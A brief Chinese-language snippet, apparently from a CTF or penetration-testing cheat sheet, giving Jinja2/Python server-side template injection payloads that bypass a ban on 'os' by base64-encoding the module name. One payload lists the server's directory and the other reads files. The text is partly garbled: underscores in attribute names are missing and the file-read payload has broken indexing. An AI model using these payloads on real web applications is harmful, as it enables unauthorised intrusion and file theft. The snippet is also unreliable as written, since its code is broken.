os被禁用，用base64绕过 显示目录：{{‘’.class.mro[2].subclasses()[71].init.globals[“b3M=”.decode(‘base64’)].listdir(‘.’)}} 读文件：{{‘’.class.mro[2].subclasses()40.read()}}
